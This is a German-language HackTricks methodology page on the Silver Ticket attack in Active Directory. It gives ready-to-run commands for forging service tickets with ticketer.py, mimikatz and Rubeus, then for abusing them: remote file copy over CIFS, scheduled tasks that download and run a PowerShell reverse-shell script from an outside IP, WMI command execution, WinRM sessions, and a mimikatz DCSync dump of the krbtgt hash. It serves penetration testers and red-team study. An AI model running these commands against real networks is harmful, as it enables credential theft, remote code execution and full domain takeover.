hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md
2024-04-06 18:30:57 +00:00

9.2 KiB

Silver Ticket

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie noch heute bei https://go.intigriti.com/hacktricks bei und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

Silberticket

Der Silberticket-Angriff beinhaltet die Ausnutzung von Diensttickets in Active Directory (AD)-Umgebungen. Diese Methode basiert auf dem Erwerb des NTLM-Hashs eines Dienstkontos, wie z. B. eines Computerkontos, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf spezifische Dienste im Netzwerk zugreifen, wobei er sich als beliebiger Benutzer ausgibt, wobei er in der Regel auf administrative Berechtigungen abzielt. Es wird betont, dass die Verwendung von AES-Schlüsseln für das Fälschen von Tickets sicherer und weniger erkennbar ist.

Für das Ticket-Handling werden verschiedene Tools je nach Betriebssystem verwendet:

Auf Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Auf Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Verfügbare Dienste

Diensttyp Dienst Silber Tickets
WMI

HOST

RPCSS

PowerShell-Remoting

HOST

HTTP

Je nach Betriebssystem auch:

WSMAN

RPCSS

WinRM

HOST

HTTP

In einigen Fällen können Sie einfach nach: WINRM fragen

Geplante Aufgaben HOST
Windows-Dateifreigabe, auch psexec CIFS
LDAP-Operationen, einschließlich DCSync LDAP
Windows Remote Server Administration Tools

RPCSS

LDAP

CIFS

Goldene Tickets krbtgt

Mit Rubeus können Sie alle diese Tickets mit dem Parameter anfordern:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Silver-Ticket-Ereignis-IDs

  • 4624: Kontoeinwahl
  • 4634: Kontoabmeldung
  • 4672: Admin-Einwahl

Missbrauch von Servicetickets

In den folgenden Beispielen nehmen wir an, dass das Ticket unter der Identität des Administrator-Accounts abgerufen wurde.

CIFS

Mit diesem Ticket können Sie auf die Ordner C$ und ADMIN$ über SMB zugreifen (sofern sie freigegeben sind) und Dateien auf einem Teil des entfernten Dateisystems kopieren, indem Sie einfach etwas wie:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

HOST

Mit dieser Berechtigung können Sie geplante Aufgaben in entfernten Computern erstellen und beliebige Befehle ausführen:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Mit diesen Tickets können Sie WMI im Zielsystem ausführen:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

HOST + WSMAN (WINRM)

Mit WinRM-Zugriff auf einen Computer können Sie darauf zugreifen und sogar eine PowerShell erhalten:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Überprüfen Sie die folgende Seite, um weitere Möglichkeiten zur Verbindung mit einem Remote-Host über WinRM zu erfahren:

{% content-ref url="../lateral-movement/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Beachten Sie, dass WinRM aktiv und auf dem Remote-Computer hörend sein muss, um darauf zuzugreifen. {% endhint %}

LDAP

Mit diesem Privileg können Sie die DC-Datenbank mithilfe von DCSync dumpen:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Erfahren Sie mehr über DCSync auf der folgenden Seite:

Referenzen

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns noch heute bei https://go.intigriti.com/hacktricks und beginnen Sie, Prämien von bis zu $100.000 zu verdienen!

{% embed url="https://go.intigriti.com/hacktricks" %}

Erfahren Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: